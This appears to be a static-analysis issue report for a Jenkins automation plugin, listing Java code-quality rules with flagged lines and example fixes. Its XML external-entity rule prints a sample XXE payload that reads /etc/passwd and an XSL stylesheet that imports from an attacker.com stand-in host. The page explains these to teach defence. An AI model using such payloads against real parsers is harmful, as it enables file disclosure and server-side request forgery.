jenkinsci/hpe-application-automation-tools-plugin

View on GitHub

Showing 716 of 716 total issues

Define and throw a dedicated exception instead of using a generic one.
Open

            throw new RuntimeException("Failed to convert workspace to long :  " + myWorkspaceId);

Using such generic exceptions as Error, RuntimeException, Throwable, and Exception prevents calling methods from handling true, system-generated exceptions differently than application-generated errors.

Noncompliant Code Example

public void foo(String bar) throws Throwable {  // Noncompliant
  throw new RuntimeException("My Message");     // Noncompliant
}

Compliant Solution

public void foo(String bar) {
  throw new MyOwnRuntimeException("My Message");
}

Exceptions

Generic exceptions in the signatures of overriding methods are ignored, because overriding method has to follow signature of the throw declaration in the superclass. The issue will be raised on superclass declaration of the method (or won't be raised at all if superclass is not part of the analysis).

@Override
public void myMethod() throws Exception {...}

Generic exceptions are also ignored in the signatures of methods that make calls to methods that throw generic exceptions.

public void myOtherMethod throws Exception {
  doTheThing();  // this method throws Exception
}

See

This block of commented-out lines of code should be removed.
Open

            return true;//FreeStyleProject.class.isAssignableFrom(jobType);

Programmers should not comment out code as it bloats programs and reduces readability.

Unused code should be deleted and can be retrieved from source control history if required.

Refactor this method to reduce its Cognitive Complexity from 27 to the 15 allowed.
Open

    private void wrapScmChanges(AbstractBuild<?, ?> build) {

Cognitive Complexity is a measure of how hard the control flow of a method is to understand. Methods with high Cognitive Complexity will be difficult to maintain.

See

Define a constant instead of duplicating this literal "Passed" 4 times.
Open

        vUserState.put("Passed", new ArrayList<Number>(0));

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

public void run() {
  prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
  execute("action1");
  release("action1");
}

@SuppressWarning("all")                            // Compliant - annotations are excluded
private void method1() { /* ... */ }
@SuppressWarning("all")
private void method2() { /* ... */ }

public String method3(String a) {
  System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
  return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
}

Compliant Solution

private static final String ACTION_1 = "action1";  // Compliant

public void run() {
  prepare(ACTION_1);                               // Compliant
  execute(ACTION_1);
  release(ACTION_1);
}

Exceptions

To prevent generating some false-positives, literals having less than 5 characters are excluded.

Either re-interrupt this method or rethrow the "InterruptedException" that can be caught here.
Open

                } catch (Exception e){

InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

Noncompliant Code Example

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) { // Noncompliant; logging is not enough
    LOGGER.log(Level.WARN, "Interrupted!", e);
  }
}

Compliant Solution

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) {
    LOGGER.log(Level.WARN, "Interrupted!", e);
    // Restore interrupted state...
    Thread.currentThread().interrupt();
  }
}

See

Add a private constructor to hide the implicit public one.
Open

public class HttpRequestDecorator {

Utility classes, which are collections of static members, are not meant to be instantiated. Even abstract utility classes, which can be extended, should not have public constructors.

Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined.

Noncompliant Code Example

class StringUtils { // Noncompliant

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Compliant Solution

class StringUtils { // Compliant

  private StringUtils() {
    throw new IllegalStateException("Utility class");
  }

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Exceptions

When class contains public static void main(String[] args) method it is not considered as utility class and will be ignored by this rule.

Catch Exception instead of Throwable.
Open

        } catch (Throwable cause) {

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

Add a private constructor to hide the implicit public one.
Open

    public static class Jacoco {

Utility classes, which are collections of static members, are not meant to be instantiated. Even abstract utility classes, which can be extended, should not have public constructors.

Java adds an implicit public constructor to every class which does not define at least one explicitly. Hence, at least one non-public constructor should be defined.

Noncompliant Code Example

class StringUtils { // Noncompliant

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Compliant Solution

class StringUtils { // Compliant

  private StringUtils() {
    throw new IllegalStateException("Utility class");
  }

  public static String concatenate(String s1, String s2) {
    return s1 + s2;
  }

}

Exceptions

When class contains public static void main(String[] args) method it is not considered as utility class and will be ignored by this rule.

Catch Exception instead of Throwable.
Open

        } catch (Throwable e) {

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

Disable access to external entities in XML parsing.
Open

        TransformerFactory tFactory = TransformerFactory.newInstance();

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

When setting an entity resolver to null (eg: setEntityResolver(null)) the parser will use its own resolution, which is unsafe.

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = df.newDocumentBuilder();  // Noncompliant
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

Use try-with-resources or close this "Scanner" in a "finally" clause.
Open

            Scanner scanner = new Scanner(fileToCopy.read()).useDelimiter("\\A");

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

  • java.io.ByteArrayOutputStream
  • java.io.ByteArrayInputStream
  • java.io.CharArrayReader
  • java.io.CharArrayWriter
  • java.io.StringReader
  • java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

Use try-with-resources or close this "BufferedWriter" in a "finally" clause.
Open

            writer = new BufferedWriter(new FileWriter(indexFile));

Connections, streams, files, and other classes that implement the Closeable interface or its super-interface, AutoCloseable, needs to be closed after use. Further, that close call must be made in a finally block otherwise an exception could keep the call from being made. Preferably, when class implements AutoCloseable, resource should be created using "try-with-resources" pattern and will be closed automatically.

Failure to properly close resources will result in a resource leak which could bring first the application and then perhaps the box the application is on to their knees.

Noncompliant Code Example

private void readTheFile() throws IOException {
  Path path = Paths.get(this.fileName);
  BufferedReader reader = Files.newBufferedReader(path, this.charset);
  // ...
  reader.close();  // Noncompliant
  // ...
  Files.lines("input.txt").forEach(System.out::println); // Noncompliant: The stream needs to be closed
}

private void doSomething() {
  OutputStream stream = null;
  try {
    for (String property : propertyList) {
      stream = new FileOutputStream("myfile.txt");  // Noncompliant
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();  // Multiple streams were opened. Only the last is closed.
  }
}

Compliant Solution

private void readTheFile(String fileName) throws IOException {
    Path path = Paths.get(fileName);
    try (BufferedReader reader = Files.newBufferedReader(path, StandardCharsets.UTF_8)) {
      reader.readLine();
      // ...
    }
    // ..
    try (Stream<String> input = Files.lines("input.txt"))  {
      input.forEach(System.out::println);
    }
}

private void doSomething() {
  OutputStream stream = null;
  try {
    stream = new FileOutputStream("myfile.txt");
    for (String property : propertyList) {
      // ...
    }
  } catch (Exception e) {
    // ...
  } finally {
    stream.close();
  }
}

Exceptions

Instances of the following classes are ignored by this rule because close has no effect:

  • java.io.ByteArrayOutputStream
  • java.io.ByteArrayInputStream
  • java.io.CharArrayReader
  • java.io.CharArrayWriter
  • java.io.StringReader
  • java.io.StringWriter

Java 7 introduced the try-with-resources statement, which implicitly closes Closeables. All resources opened in a try-with-resources statement are ignored by this rule.

try (BufferedReader br = new BufferedReader(new FileReader(fileName))) {
  //...
}
catch ( ... ) {
  //...
}

See

Define a constant instead of duplicating this literal ".html" 4 times.
Open

        File richReportsHtml = new File(reportDirectory, HTML_REPORT_FOLDER + ".html");

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

public void run() {
  prepare("action1");                              // Noncompliant - "action1" is duplicated 3 times
  execute("action1");
  release("action1");
}

@SuppressWarning("all")                            // Compliant - annotations are excluded
private void method1() { /* ... */ }
@SuppressWarning("all")
private void method2() { /* ... */ }

public String method3(String a) {
  System.out.println("'" + a + "'");               // Compliant - literal "'" has less than 5 characters and is excluded
  return "";                                       // Compliant - literal "" has less than 5 characters and is excluded
}

Compliant Solution

private static final String ACTION_1 = "action1";  // Compliant

public void run() {
  prepare(ACTION_1);                               // Compliant
  execute(ACTION_1);
  release(ACTION_1);
}

Exceptions

To prevent generating some false-positives, literals having less than 5 characters are excluded.

Change the visibility of this constructor to "protected".
Open

    public RunHandler(Client client, String entityId) {

Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So there is no point in making them public. The protected modifier should be enough.

Noncompliant Code Example

public abstract class AbstractClass1 {
    public AbstractClass1 () { // Noncompliant, has public modifier
        // do something here
    }
}

Compliant Solution

public abstract class AbstractClass2 {
    protected AbstractClass2 () {
        // do something here
    }
}

Change the visibility of this constructor to "protected".
Open

    public PollHandler(Client client, String entityId) {

Abstract classes should not have public constructors. Constructors of abstract classes can only be called in constructors of their subclasses. So there is no point in making them public. The protected modifier should be enough.

Noncompliant Code Example

public abstract class AbstractClass1 {
    public AbstractClass1 () { // Noncompliant, has public modifier
        // do something here
    }
}

Compliant Solution

public abstract class AbstractClass2 {
    protected AbstractClass2 () {
        // do something here
    }
}

Iterate over the "entrySet" instead of the "keySet".
Open

            for (String key : values.keySet()) {

When only the keys from a map are needed in a loop, iterating the keySet makes sense. But when both the key and the value are needed, it's more efficient to iterate the entrySet, which will give access to both the key and value, instead.

Noncompliant Code Example

public void doSomethingWithMap(Map<String,Object> map) {
  for (String key : map.keySet()) {  // Noncompliant; for each key the value is retrieved
    Object value = map.get(key);
    // ...
  }
}

Compliant Solution

public void doSomethingWithMap(Map<String,Object> map) {
  for (Map.Entry<String,Object> entry : map.entrySet()) {
    String key = entry.getKey();
    Object value = entry.getValue();
    // ...
  }
}

Constructor has 13 parameters, which is greater than 7 authorized.
Open

    public Args(

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

public void doSomething(int param1, int param2, int param3, String param4, long param5) {
...
}

Compliant Solution

public void doSomething(int param1, int param2, int param3, String param4) {
...
}

Exceptions

Methods annotated with :

  • Spring's @RequestMapping (and related shortcut annotations, like @GetRequest)
  • JAX-RS API annotations (like @javax.ws.rs.GET)
  • Bean constructor injection with @org.springframework.beans.factory.annotation.Autowired
  • CDI constructor injection with @javax.inject.Inject
  • @com.fasterxml.jackson.annotation.JsonCreator

may have a lot of parameters, encapsulation being possible. Such methods are therefore ignored.

Replace this use of System.out or System.err by a logger.
Open

        System.out.println(message);

When logging a message there are several important requirements which must be fulfilled:

  • The user must be able to easily retrieve the logs
  • The format of all logged message must be uniform to allow the user to easily read the log
  • Logged data must actually be recorded
  • Sensitive data must only be logged securely

If a program directly writes to the standard outputs, there is absolutely no way to comply with those requirements. That's why defining and using a dedicated logger is highly recommended.

Noncompliant Code Example

System.out.println("My Message");  // Noncompliant

Compliant Solution

logger.log("My Message");

See

Catch Exception instead of Throwable.
Open

            } catch (Throwable cause) {

Throwable is the superclass of all errors and exceptions in Java. Error is the superclass of all errors, which are not meant to be caught by applications.

Catching either Throwable or Error will also catch OutOfMemoryError and InternalError, from which an application should not attempt to recover.

Noncompliant Code Example

try { /* ... */ } catch (Throwable t) { /* ... */ }
try { /* ... */ } catch (Error e) { /* ... */ }

Compliant Solution

try { /* ... */ } catch (RuntimeException e) { /* ... */ }
try { /* ... */ } catch (MyException e) { /* ... */ }

See

Change this instance-reference to a static reference.
Open

        this.logger = logger;

While it is possible to access static members from a class instance, it's bad form, and considered by most to be misleading because it implies to the readers of your code that there's an instance of the member per class instance.

Noncompliant Code Example

public class A {
  public static int counter = 0;
}

public class B {
  private A first = new A();
  private A second = new A();

  public void runUpTheCount() {
    first.counter ++;  // Noncompliant
    second.counter ++;  // Noncompliant. A.counter is now 2, which is perhaps contrary to expectations
  }
}

Compliant Solution

public class A {
  public static int counter = 0;
}

public class B {
  private A first = new A();
  private A second = new A();

  public void runUpTheCount() {
    A.counter ++;  // Compliant
    A.counter ++;  // Compliant
  }
}
Severity
Category
Status
Source
Language